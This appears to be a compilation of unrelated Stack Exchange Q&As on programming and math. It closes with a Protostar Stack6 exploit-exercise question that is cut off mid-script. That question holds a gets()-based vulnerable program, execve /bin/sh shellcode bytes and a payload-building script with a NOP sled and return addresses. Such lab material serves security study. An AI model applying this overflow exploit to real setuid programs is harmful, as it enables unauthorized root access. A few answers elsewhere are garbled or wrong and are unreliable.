  friend void print(A const& a, std::ostream& os) {
    // outside::A::print(a, os);
    print(static_cast<const outside::A&>(a), os);
    os << " inside::A " << a.inner << '\n';
  }


text:
Q: Google Text to Speech always display 404 (Not Found) I am developing website using moodle. I need to use Text to Speech so I use Google TTS, also SimpleSpeak is not working on moodle 2.7.
So in my page i have something like this:
<audio id="live" src="http://translate.google.com/translate_tts?tl=en&q=live"
rel="noreferrer">
</audio>
<div>
<button onclick="document.getElementById('live').play()" >play="">
live
</button>
</div>

But everytime i click the button its not working and when i inspect the code, it gives
Failed to load resource: the server responded with a status of 404 (Not Found)
I already add rel="noreferrer".
Can anybody help me to solve this. Thanks in advanced.

A: I have just noticed your mistake. In your code you have:
rel="noreferrer"

instead of
rel="noreferrer"

You have accidentally mistyped quotation marks.
 " =/= "


text:
Q: How to enable AES256 cipher suites in java clients I installed Jre 1.8 (x64) on a windows server 2012 R2 machine and checked the list of supported cipher suites through a simple program like this
SSLContext context = SSLContext.getDefault();
SSLSocketFactory sf = context.getSocketFactory();
String[] cipherSuites = sf.getSupportedCipherSuites();

for (String cs : cipherSuites)
    System.out.println(cs);

This produced the following output (note that only AES128 suites are present, AES256 is absent)
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_DSS_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_DSS_WITH_AES_128_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_DSS_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
TLS_EMPTY_RENEGOTIATION_INFO_SCSV
TLS_DH_anon_WITH_AES_128_GCM_SHA256
TLS_DH_anon_WITH_AES_128_CBC_SHA256
TLS_ECDH_anon_WITH_AES_128_CBC_SHA
TLS_DH_anon_WITH_AES_128_CBC_SHA
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
SSL_DH_anon_WITH_3DES_EDE_CBC_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_DHE_RSA_WITH_DES_CBC_SHA
SSL_DHE_DSS_WITH_DES_CBC_SHA
SSL_DH_anon_WITH_DES_CBC_SHA
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHA
TLS_RSA_WITH_NULL_SHA256
TLS_ECDHE_ECDSA_WITH_NULL_SHA
TLS_ECDHE_RSA_WITH_NULL_SHA
SSL_RSA_WITH_NULL_SHA
TLS_ECDH_ECDSA_WITH_NULL_SHA
TLS_ECDH_RSA_WITH_NULL_SHA
TLS_ECDH_anon_WITH_NULL_SHA
SSL_RSA_WITH_NULL_MD5
TLS_KRB5_WITH_3DES_EDE_CBC_SHA
TLS_KRB5_WITH_3DES_EDE_CBC_MD5
TLS_KRB5_WITH_DES_CBC_SHA
TLS_KRB5_WITH_DES_CBC_MD5
TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA
TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5

I am looking for the TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 cipher suite that is listed as top priority in the Cryptography Providers list.
Is there a separate package that has to be installed to get the AES256 cipher suites in java?


text:
Q: Spring @Cacheable doesn't retry on error from Jedis/Redis Spring @Cacheable doesn't retry on error from Jedis/Redis.
We have errors during data read:
org.springframework.dao.InvalidDataAccessApiUsageException: Cluster retry deadline exceeded.; nested exception is redis.clients.jedis.exceptions.JedisClusterOperationException: Cluster retry deadline exceeded.

error is not handled by @Cacheable annotation (i'd expect to get data from annonated method in case of an error)
at org.springframework.cache.interceptor.CacheInterceptor.invoke(CacheInterceptor.java:64)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:215)
at com.sun.proxy.$Proxy163.findById(Unknown Source:0)

I can see  that there is void handleCacheGetError(RuntimeException exception, Cache cache, Object key)
but I don't see any parameters that would help me to retrieve data from original method/source (fallback behaviour)
How to handle it ?  It looks like that @Cacheable is not very usable in case of cache errors (Do i need to implement my own bespoke code using RedisTemplate etc. ? )


text:
Q: How to open a link to a message in Mattermost when the default browser insists in opening the web app? I use the messaging app Mattermost for work on my Linux machine. It's common to refer to specific messages using links, which are like URLs and can be opened by a browser. Depending on the browser and configuration, it will either open it the web app or the desktop app of Mattermost.
My default browser Vivaldi opens the web app instead of the desktop app when I click the links. I want the browser to open the desktop app, but didn't find a way to configure that, even after researching on the internet. How can I do it?

A: Mattermost allows you to send messages to yourself. When you do that with a link to another message on the desktop app, it will allow you to do what you want and open the message on the desktop app itself.


text:
Q: Lock and unlock screen - iPad Would it be possible to lock a device screen and unlock it again? The reason I would want to do this is we have a kiosk type app and we would like to turn of the screen between certain times.
I would think a type of push notification would be needed?

A: Once iPad is locked you're not going to be able to unlock it programmatically, even through a push notification. Assuming these devices are always plugged in you may be better off turning off the idleTimer (which I'm assuming you already have) then invoke some sort of screen save or idle screen that displays during those hours. That way your app never allows the iPad to lock natively and you can control when clients do & don't see the content.
That brings up a design question, though... what happens if someone is present when the idle screen is up? Should you override or keep it on the idle screen? Just thinking out loud.


text:
Q: save/edit array in and outside ruby I am having an array like "author","post title","date","time","post category", etc etc
I scrape the details from a forum and I want to

*

*save the data using ruby

*update the data using ruby

*update the data using text editor or I was thinking of one of OpenOffice programs? Calc would be the best.

I guess to have some kind of SQL database would be a solution but I need quick solution for that (somthing that I can do by myself :-)
any suggestions?
Thank you

A: YAML is your friend here.
require "yaml"
yaml= ["author","post title","date","time","post category"].to_yaml
File.open("filename", "w") do |f|
  f.write(yaml)
end

this will give you
---
- author
- post title
- date
- time
- post category

vice versa you get
require "yaml"
YAML.load(File.read("filename")) # => ["author","post title","date","time","post category"]

Yaml is easily human readable, so you can edit it with any text editor (not word proccessor like ooffice). You can not only searialize array's and strings. Yaml works out of the box for most ruby objects, even for objects of user defined classes. This is a good itrodution into the yaml syntax: http://yaml.kwiki.org/?YamlInFiveMinutes.

A: If you want to use a spreadsheet, csv is the way to go. You can use the stdlib csv api like:
require 'csv'

my2DArray = [[1,2],["foo","bar"]]

File.open('data.csv', 'w') do |outfile|
  CSV::Writer.generate(outfile) do |csv|
    my2DArray.each do |row|
      csv << row
    end
  end
end

You can then open the resulting file in calc or in most statistics applications.
The same API can be used to re-import the result in ruby if you need.

A: You could serialize it to json and save it to a file. This would allow you to edit it using a simple text editor.
if you want to edit it in something like calc, you could consider generating a CSV (comma separated values) file and import it.

A: If I understand correctly, you have a two-dimensional array. You could output it in csv format like so:
array.each do |row|
    puts row.join(",")
end

Then you import it with Calc to edit it or just use a text editor.
If your data might contain commas, you should have a look at the csv module instead:
http://ruby-doc.org/stdlib/libdoc/csv/rdoc/index.html


text:
Q: My windows 10 hp laptop is shutting down abnormally every day at a particular time I am using latest version of windows 10. It is an HP laptop.
My problem is that every day at a particular time(evening) my laptop shutdowns automatically while I was using it. I checked my battery percentage it is above 50% when this happened. I don't know where is the problem. I did not used any scheduler to shut down the laptop.
Please help me to fix my laptop.


text:
Q: How to play sound on Tizen Xamarin Tizen.NET 6.0.0.14995
Tizen.Wearable.CircularUI 1.4.0
Xam.Plugin.SimpleAudioPlayer 1.4.0
Xamarin.Forms 4.3.0.908675

A simple task is to play a sound on some event.
Now I look towards "SimpleAudioPlayer"
I have a resource
<ItemGroup>
    <None Remove="sound-active.mp3" />
</ItemGroup>
<ItemGroup>
   <EmbeddedResource Include="sound-active.mp3" />
</ItemGroup>

I use the following code to initalize:
Stream GetStreamFromFile(string filename)
{
      var assembly = typeof(App).GetTypeInfo().Assembly;
      var stream = assembly.GetManifestResourceStream(filename);

      return stream;
}

private void InitSound()
{
    var stream = GetStreamFromFile("MyApp.sound-active.mp3");
    soundActive = CrossSimpleAudioPlayer.CreateSimpleAudioPlayer();
    soundActive.Load(stream);
}

But soundActive for some reason is null.
It seems to me that some kind of plugin initialization is missing. Or the library is simply outdated, although the number of downloads is high. Can someone advise how to solve this seemingly simple task?

A: I managed to solve the problem. I converted MP3 files to wav, put them in "res" directory
        /  AppName
AppName
        \ AppName.Tizen.Wearabe / res

To play the sound I use the following code:
string GetPathToSound(string soundName)
{
    return "/opt/usr/home/owner/apps_rw/org.app.test/res/" + soundName;
}

...

WavPlayer.StartAsync(GetPathToSound("sound-active.wav"), new AudioStreamPolicy(AudioStreamType.Media));


text:
Q: How to find all paths from a node I'm new to neo4j, i've read a couple of tutorials but i am stuck with finding all paths from a node till it reaches another when the status changes and different path each time.
I've made a picture:

Starting from the node at the top, I would like to find all nodes T that have status=1 and we move from node of type O to T with a 'o' relationship and from T to O with 'i' relationships. If we reach a node T with status = 0 then we go the 'i' relationship and check if T status = 1 etc
I don't know the depth of the graph. I've found on the manual that we can use [r*1..] but i am not sure how to use here.
I have tried
match (o1:O)-[:o]-(t:T), (t)-[:i]-(o2:O)-[:o]-(t2:T)
return o1, t, o2, t2

for the first depth but i don't know how to do it with unknown depth and make go deeper as long as status is not 1

A: Your schema looks like so (the question mark means I'm not sure what relationship you wanted there).
(:O)<-[:o]-(:T)<-[:i]-(:O)<-[:o]-(:T)<-[:?]-(:T)
You need to somehow identify the first node from which you start, and I'm not sure exactly what nodes you are trying to get from the schema, but something like this would return all nodes with status 1 that are somehow connected to first node, which here is just identified by having status 0 (so might actually be more than one node).
MATCH (firstnode:O {Status: 0})<-[:o|:i*..]-(othernodes) WHERE othernodes.Status=1 RETURN othernodes

But be warned - any *.. command will take forever to run.


text:
Q: Holder-continuous barycenter maps Let $(X,d)$ be a complete locally-compact metric space.  We define the $p$-barycenter map as a continuous function:
$$
\beta:\mathcal{P}_p(X)\rightarrow X,
$$
which is a right-inverse of the map associating to any $x \in X$ its point-mass $\delta_x\in \mathcal{P}_p(X)$.
It is well-known that, if $X$ is CAT(0) then $\beta$ can be assumed to be $L$-Lipschitz for some $L\in (0,1]$.  My question is, are there known (resp. classes of) examples of metric spaces for which $\beta$ is Hölder continuous but not Lipschitz continuous?


text:
Q: Evaluating a given limit Let $$\nu(x) = \frac{1}{2} \log{2\pi x} - x + \int\limits_{1}^{x} \frac{\lfloor{t\rfloor}}{t} \ dt$$ then what is $\displaystyle \lim_{x \to \infty} x \cdot \nu(x)$?
I really don't know to proceed. Tried something using the expansions of $\log$ and seeing how the integral behaves, but couldn't figure out.

A: [The answer is given at the end.]
First let $n = \left\lfloor x \right\rfloor$. We have $\int_k^{k + 1} {\frac{{\left\lfloor t \right\rfloor }}{t}\,{\rm d}t}  = k[\log (k + 1) - \log (k)]$, $k=1,\ldots,n-1$, and $\int_n^x {\frac{{\left\lfloor t \right\rfloor }}{t}\,{\rm d}t}  = n[\log (x) - \log (n)]$. From this it follows straightforwardly that
$$
\nu(x) = \frac{1}{2}\log (2\pi x) - x - \log (n!) + n\log (x).
$$
Next, let $\delta_x = x - n$. Thus, $x = n + \delta_x$. Substituting this for $x$ in the above expression, and using
$$
\log (M + a) = \log (M) + \frac{a}{M} - \frac{{a^2 }}{{2M^2 }} + O\bigg(\frac{1}{{M^3 }}\bigg),
$$
as $M \to \infty$, leads to
$$
\nu (x) = \frac{1}{2}\log (2\pi n) - n - \log (n!) + n\log (n) + \frac{{\delta _x }}{{2n}} - \frac{{\delta _x^2 }}{{2n}} + O\bigg(\frac{1}{{n^2 }}\bigg),
$$
or
$$
\nu (x) = \log \Bigg[\frac{{(\sqrt {2\pi n} )e^{ - n} n^n }}{{n!}}\Bigg] + \frac{{\delta _x }}{{2n}} - \frac{{\delta _x^2 }}{{2n}} + O\bigg(\frac{1}{{n^2 }}\bigg),
$$
as $n \to \infty$. Then, from the well-known estimate
$$
n! = (\sqrt {2\pi n} )e^{ - n} n^n \bigg(1 + \frac{1}{{12n}} + O\bigg(\frac{1}{{n^2 }}\bigg)\bigg)
$$
(and noting that $\log(1/\xi)=-\log(\xi)$), it follows that
$$
\nu (x) =  - \log \bigg[1 + \frac{1}{{12n}} + O\bigg(\frac{1}{{n^2 }}\bigg)\bigg] + \frac{{\delta _x }}{{2n}} - \frac{{\delta _x^2 }}{{2n}} + O\bigg(\frac{1}{{n^2 }}\bigg),
$$
and in turn,
$$
\nu (x) =  - \frac{1}{{12n}} + \frac{{\delta _x }}{{2n}} - \frac{{\delta _x^2 }}{{2n}} + O\bigg(\frac{1}{{n^2 }}\bigg).
$$
Finally, since $x = n + \delta_x$, we obtain
$$
x \nu(x) = - \frac{1}{{12}} + \frac{{\delta _x }}{{2}} - \frac{{\delta _x^2 }}{{2}} + O\bigg(\frac{1}{{n}}\bigg).$$
We conclude that $x \nu(x)$ does not have a limit as $x \to \infty$. Rather, since $\delta_x /2 - \delta_x^2 / 2$ is oscillating between $0$ and $1/8$, we have
$$
\mathop {\lim \inf }\limits_{x \to \infty } [x\nu (x)] =  - \frac{1}{{12}} \;\;\; {\rm and} \;\;\; \mathop {\lim \sup }\limits_{x \to \infty } [x\nu (x)] =  \frac{1}{{24}}.
$$
Nevertheless, we have
$$
\mathop {\lim }\limits_{n \to \infty } n\nu (n) =  - \frac{1}{{12}},
$$
as $n \to \infty$ (integer).


text:
Q: In Loopback.js, how to run a standalone script without running the application? I'm running a standalone script to manipulate some persisted data in my Loopback application. I need to do this on production servers while the production app is running. I have it working like this:
Filepath is ./scripts/my-script.js and looks like this:
'use strict';

const app = require('../server/server');
const Account = app.models.Account;

Account.find()
.then(accounts => {
  // do data stuff with accounts
})
.then(() => process.exit())
.catch(error => {
  console.error(error.stack);
  process.exit(1);
});

Then I run node ./scripts/my-script.js.
The problem is the entire application including the web server, boot scripts, etc, runs for the duration of the script, which means I'd have two instances of the app running. This happens because I get reference to the Account model like this:
const app = require('../server/server');
const Account = app.models.Account;

When I try:
const loopback = require('loopback');
const Account = loopback.getModel('Account');

It fails with:

./node_modules/loopback/lib/registry.js:304
    throw new Error('Model not found: ' + modelName);
    ^
Error: Model not found: Account

How can I run this script (or perhaps use a different approach) to manipulate persisted data without running a second instance of the application?

A: What's your end goal here? You could use the loopback-connector-remote to hit the same app instance through the REST API.
You could also perform operations on the same db through the second app instance.
A third option would be to create a model of class Model (instead of PersistedModel), define its datasource as null, and instead of running a second nodejs process, you could execute the script by hitting the associated endpoint. I would just make sure you use a good security policy for that specific endpoint.


text:
Q: Chained pseudo-selectors in IE8 Chained pseudo-selectors do not seem to work in IE8 on Windows XP. Is there any documentation about this?
I'm developing a website using Selectivizr in order to use CSS3 selectors, but a style such as this doesn't work in IE8, whereas it works everywhere else (unsurprisingly):
span:last-child:after {content: "foobar";}

A: This is not a bug, it's due to the fact the the selector doesn't match natively.

A simple selector is either a type selector or universal selector followed immediately by zero or more attribute selectors, ID selectors, or pseudo-classes, in any order. The simple selector matches if all of its components match.

The simple selector in this case is either span:first-child, which matches natively in IE8, or span:last-child, which does not.

One pseudo-element may be appended to the last simple selector in a chain, in which case the style information applies to a subpart of each subject.

Appending :after to span:first-child is a match, while appending it to span:last-child is not, and since Selectivizr is a post-processor, it comes too late to save the day. Perhaps a pre-processor would have better luck.


text:
Q: How can I change the height of a button with Swift? Depending on the height of the screen, I would like to adjust the height of a button in a view. What is the easiest way to do this in Swift?
I tried it in this way and also with CGRectMake() but nothing changed:
self.myButton.frame.size.height = self.myButton.frame.size.height*scrOpt

How can I "update" the frame?

A: The reason why you see no changes may be because you're using AutoLayout, and the button has some constraints applied to it, and you need to change the height constraint to accomplish what you want.
Edited: Changing frame properties directly seems to be possible in Swift but was not possible in Objective C.

A: If you are using auto layout, you need to update its height constraint, else update its frame
NSLog(@"%@",NSStringFromCGRect(self.myButton.frame));

    NSLog(@"%f",scrOpt);

    self.myButton.frame = CGRectMake(self.myButton.frame.origin.x, self.myButton.frame.origin.y, self.myButton.frame.size.width, self.myButton.frame.size.height*scrOpt)

    NSLog(@"%@",NSStringFromCGRect(self.myButton.frame));

Edited check this and see what is Print NSLog


text:
Q: How to save Apple-app-site-assocation file without json extension on Mac? I've been trying to create universal link and the first step specifically for this type of universal link is an apple-app-site-association json file without the json file extension saved to my /.well-known directory on my server... several stackoverflow articles I've tried ALL these solutions below like rewriting the rule in my web.config file along with .htaccess and also my SSL is valid
.htaccess file:
ForceType application/json
</FilesMatch>```

```<Files "apple-app-site-association">
ForceType 'application/json'
</Files>```

```RewriteRule ^apple-app-site-association$ - [env=apple:1] Header set Content-type application/json env=apple```

web.config file:

```<rewrite>
<rules>
<rule name="apple_json_file">
<match url="apple-app-site-association" />
<action type="Rewrite" url=".well-known/apple-app-site-association.json" />
</rule>
</rules>
</rewrite>```

Nothing works... please advise


text:
Q: How could I remove the last space character from a string in c#? I split text from a text file and I have to compare 2 strings, one from a textbox and the other one from a text file from a specific line. That string from text has a space at the end and the comparison is always wrong.
Here is the code. Thank you!
private void button1_Click(object sender, EventArgs e)
{
    Random r = new Random();

    t = r.Next(1,30);
    StreamReader sr = new StreamReader("NomenA1.txt");
    cuv = sr.ReadToEnd().Split('\n');

    string original = cuv[t];

    Random num = new Random();

    // Create new string from the reordered char array.
    string rand = new string(original.ToCharArray().
        OrderBy(s => (num.Next(2) % 2) == 0).ToArray());
    textBox2.Text = rand;
    button1.Visible = false;
    button2.Visible = true;

}

private void button2_Click(object sender, EventArgs e)
{

    button1.Visible = false;
    string a =Convert.ToString(textBox1.Text.ToString());
    string b = cuv[t];

    if (a == b)
    {
        MessageBox.Show("Corect");
        button1.Visible = true;
        button2.Visible = false;
    }
    else
    {
        MessageBox.Show("Mai incearca"); button1.Visible = false;
    }
}

A: You can use Regex to remove all last space:
string s = "name    ";
string a = Regex.Replace(s, @"\s+$", "");

or Trim() function for all both end space:
string s = " name   ";
string a = s.Trim();

or if you want to remove only one space from the end:
string s = "name ";
string a = Regex.Replace(s, @"\s$", "");

A:
How could I remove the last character in a string

var s = "Some string ";
var s2 = s.Substring(0, s.Length - 1);

Alternatively a general solution is usually
var s3 = s.Trim(); // Remove all whitespace at the start or end
var s4 = s.TrimEnd(); // Remove all whitespace at the end
var s5 = s.TrimEnd(' '); // Remove all spaces from the end

Or a very specific solution
// Remove the last character if it is a space
var s6 = s[s.Length - 1] == ' ' ? s.Substring(0, s.Length - 1) : s;

A: Have you tried .Trim()
String myStringA="abcde ";
String myStringB="abcde";

if (myStringA.Trim()==myStringB)
{
  Console.WriteLine("Matches");
}
else
{
  Console.WriteLine("Does not match");
}

A: What about :
string s = "name ";
string a = s.Replace(" ", "");

That seems pretty simple to me, right?


text:
Q: Encountering errors when using C++ interop on old MFC/Win32 application I have inherited an old MFC/Win32 C++ application who's source code I am not supposed to edit.
This MFC application needs to host an old MFC/Win32 C++ DLL. This DLL also tries to make function calls through a Mixed-mode wrapper to a managed C++/CLI DLL. I know it sounds a little confusing, so here's a diagram of what I mean:
Old MFC/Win32 Application (NO CLR)

    ---> Hosting old MFC/Win32 DLL (NO CLR)

                 ---> Making function calls to Mixed-Mode wrapper (CLR)

                              ---> Sending function calls to C++/CLI DLL (CLR)

My problem currently is that when I try to mount an object of the C++/CLR wrapper class let's say WrapperClass WC;, the MFC/Win32 application encounters an "Unhandled exception."
I have a feeling that I may need to somehow host the CLR in a separate process in order to be able to make the object. Is this the right idea? Or am I completely out of whack here?
The code compiles time and this only occurs at run-time.
Any ideas?
Here is an example of the code I am trying to run:
MFC/Win32 DLL
#include "WrapperClass.h"

BOOL Test::bTest() //This function is called elsewhere within MFC/Win32 DLL
{
    DWORD dwTest;

    WrapperClass WC; //Unhandled exception here!

    return WC.FunctionToCall(dwTest); //FunctionToCall is a BOOL
}

Mixed-Mode Wrapper Class
BOOL WrapperClass::FunctionToCall(DWORD dw)
{
    GCHandle h = GCHandle::FromIntPtr(IntPtr(m_impl)); //m_impl def'd as void *
    CPPCLIClass^ CCC = safe_cast<CPPCLIClass^>(h.Target);

    return (BOOL)CCC->FunctionToCall(dw);
}

C++/CLI DLL
bool CPPCLIClass::FunctionToCall(UInt32 ui32)
{
    if (ui32 == 42)
    {
        return true;
    }
}

UPDATE:
I've managed to coax a real exception out of the program. I am now receiving a System.IO.FileNotFound exception with additional information stating:
An unhandled exception of type 'System.IO.FileNotFoundException' occured in
Unknown Module.

Additional information: Could not load file or assembly 'CPPCLIProject,
Version=1.0.4351.29839, Culture=neutral, PublicKeyToken=null' or one of its
dependencies. The system cannot find the file specified.

Does this mean anything? I understand that it apparently cannot find CPPCLIProject (Note: this is not the wrapper project), but then if I'm linking on the .lib file from the Mixed-mode wrapper, how would I not receive linker errors then?

A: Are you sure that the implementation of WrapperClass::FunctionToCall() isn't throwing the exception? It looks like you're caching the memory location of a CLR object, and then trying to call one of its members. I think the CLR is free to move objects around, so it's possible that you're trying to use an object that has moved.
If you change the implementation of WrapperClass::FunctionToCall() to something simple (i.e. create a CLR object, call a member function), do you still get the same unhandled exception?
UPDATE: Which class is in CPPCLIProject - CPPCLIClass? Assuming this project represents the C++/CLI DLL, it sounds like it just can't find the assembly to load it when it needs to call your class.
Where is this assembly on disk relative to the rest of the application? If your root EXE is unmanaged (which it sounds like it is, since it is MFC/Win32), then the CLR looks in the EXE's directory and the GAC in order to load assemblies (I don't think it looks in the Path, but I'm not positive on that).
So if the CPPCLIProject isn't in the same directory as the EXE, that could be your problem.

A: Your best bet is to

*

*run under a debugger (add the additional DLLs with debug information to the debug session)

*enable break on all (first-chance) exceptions

*trace/assert all HRESULT codes

*in general try to catch

*

*C++ exceptions (try/catch...)

*Windows Structured Exceptions (IIRC _try/_catch, but see MSDN)

The idea is to convert the 'unkown exception' into 'known exception'.
Normally speaking there is no need to host the CLR part out of process. This is what a mixed-mode DLL is about. Then again, if this is legacy code, you might be running into complicated mixes of runtime dependencies that, shall we say, could clash.

Further thoughts:
If I understand correctly, you have the option to recompile all sources (just not touch the legacy codebase?). If so, make sure all code is compiled against the same version (think Service Packs) and type (think Static vs Dynamic/Multithread/Debug) of the runtime libraries.
While you are checking additional pathways, keep an eye on potentially conflicting dependencies on

*

*ATL server libs

*MFC libs (again static vs dynamic/Multithread/Debug flavours).


text:
Q: jquery find input:hidden error in safari I'm trying to implement a feature where a user can click on a row i.e.,
, and it'll go to a specific URL.
Here's my HTML and Jquery code:

                        <input class="threadid_c" id="threadID" name="threadID" type="hidden" value="MzAwMTYwLDMwMDM3Miw=" />

                            ...

                        <input class="threadid_c" id="threadID" name="threadID" type="hidden" value="MzAwMzcyLDMwMDM4MCw=" />

            ....

        $('#datatable tr').click(function() {
            var x = $(this).find("input:hidden");
            var url = "/User/Ping/" + x.val();
            location.href = url;
        });

This works fine in Chrome, Firefox, and IE. But in Safari, x.val() returns undefined.
I looked in Safari's JavaScript console, I see this message:
<input> is not allowed inside
. Inserting <input> before the
 instead.

Not sure if that's related to the problem. Any suggestions?

A: You can't have a <input> as a direct
 child just like it says, just tuck it inside the first  instead, like this:

   <input class="threadid_c" name="threadID" type="hidden" value="MzAwMzcyLDMwMDM4MCw=" />
   ....

Also remove the id attribute since it's repeated...they should be unique in the page.


text:
Q: GET URL and Capture XML response - SAM Broadcaster I have a url and port... mysite.com:8000
When approached by HTTP this returns XML, of which I need to extract and transform <title> under the tree <source mount="/live">
There are other nodes, but the hierachy looks like this
<icestats>
   <source mount="/live">
      <title>Michael Jackson - Beat IT - Thriller</title>
   </source>
</icestats>

I need to extract the value of <title> using Pascal, then explode it using the first hyphen.
So if the XML had  value of "Michael Jackson - Beat IT - Thriller" I need to output...
Artist=Michael Jackson
song=Beat IT - Thriller
These need to be extracted as variables to be included in a separate part of the script.
I apologize that I haven't got an attempt here already. I'm a station programmer learning to code. If someone could give me a head start I can probably flesh it out.
I am compiling this in PAL, which is based on Pascal/Delphi and is run in SAM Broadcaster.

A: I'm not sure what SAM or PAL are, and if they can use all the underlying technologies available from Delphi.
So I'll answer this from a Delphi perspective.
There are two parts of your question:

*

*downloading the XML content over HTTP

*translating the XML into Delphi objects

For the second part, use the XML data binding wizard. A nice video demonstrating this is here. It depends on the MSXML DOM. If you don't have that, you will have to find yourself an XML library or do the XML parsing yourself (which can be very tricky).
For the first part, I'd use an Indy TIdHttp component, for instance in the way asked here: How can I download a huge file via TIdHTTP?
If the XML is about interpreting Icecast/Shoutcast song information, then the format highly depends on how the streaming server is configured (see http://wiert.me/2010/11/22/streaming-your-mp3-collection-through-an-icecast-server-using-ezstream/ ).
The cool thing about icecast and shoutcast is that you can stream to it, and the icecast server will determine how the song information is being represented so your actual device providing the stream to the stream server does not have to worry about that (I've been on the streaming side of things).

A: I was able to solve this quite simply in the end. First I groomed the raw XML output by adding a custom XSLT file to the the server, in this case it is an Icecast server. It's a simple matter of dropping it in the web folder, but you do need access to that.
The below is what I used to extract the three tags I needed. Note it's the full example and not from the simplified one above.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
    <xsl:output method="text"/>
    <xsl:template match="/">
        <xsl:value-of select="/icestats/source[@mount='/live']/title" />
      <xsl:text>
</xsl:text>
      <xsl:value-of select="/icestats/source[@mount='/live']/genre" />
      <xsl:text>
</xsl:text>
        <xsl:value-of select="/icestats/source[@mount='/live']/server_name" />
    </xsl:template>
</xsl:stylesheet>

<!-- Do not change the formatting or spacing in this document. It will affect the output and could break processes down the chain -->

Then I simply used delphi (PAL Script, the delphi based shell in SAM broadcaster) WebtoFile to create a local text file and TStringList to store and parse the text file through to variables as I needed them.
The explode by " - " was achieved by a combination of pos and delete commands.
The full working script contains a lot of error handling and is too big to paste here. That, and discussion (further context) can be found here


text:
Q: Protostar Stack6 - Segfault for no reason? So I am doing the protostar challenges from exploit exercises and I'm completely stumped.
Protostar runs on a virtual machine emulating an i686 processor.
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

The challenge involves injecting a malformed user provided input to allow root access. The executable has the setuid flag set and has owner root. I provide my input via a named pipe in /tmp/mypipe
in gdb I run
set disassembly-flavor intel
run < /tmp/mypipe

When I set my breakpoint at the end of the getpath() function on the RET instruction and single step forward, everything works as expected. My shellcode gets executed. I verrified that the instructions are exactly the same as the documentation at the source. (Using a stop hook with x/2i $eip and single stepping through the assembler). Everything works just fine down the noop sled and the first few instructions, up until interrupt 0x80 (syscall) (0xcd 0x80).
The funny thing is gdb announces:

Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.

After that nothing works anymore. Running it again with the same input just segfaults. Trying to disassemble main yields No symbol "main" in current context.
Once I close GDB and start again, it gives the same behavior as before. No shell is actually ever interactable. Using the same payload from the command line simply yields a segfault.
I have tried numerous payloads made with msfvenom, all for x86 linux with different encoders, prohibiting 0x00, 0x0a and 0x0d. I tried putting small payloads into the buffer, i tried putting them behind the return address in the main stackframe and beyond. Everything I tried gives me a segfault. I'm confused as to why this isn't working. Has it perhaps something to do with overwriting EBP on the stack and then returning twice? But LEAVE isn't executed twice, only RET.
What's going on?
The code for the challenge is this:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;
  printf("input path please: "); fflush(stdout);
  gets(buffer);

  ret = __builtin_return_address(0);
  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Jumping to the stack is prohibited by program logic. So obviously you must jump somewhere else.
My idea was to jump to the RET instruction at the end of getpath(), basically popping another address into EIP from the stack that is not checked by program logic.
It turns out there are 80B from the top of the stack where buf starts to the first byte of the return pointer on the stack.
My code for generating the malformed input looks like this.
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b""
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"

# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B

padding = "A"*80

# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40

# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]

# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]

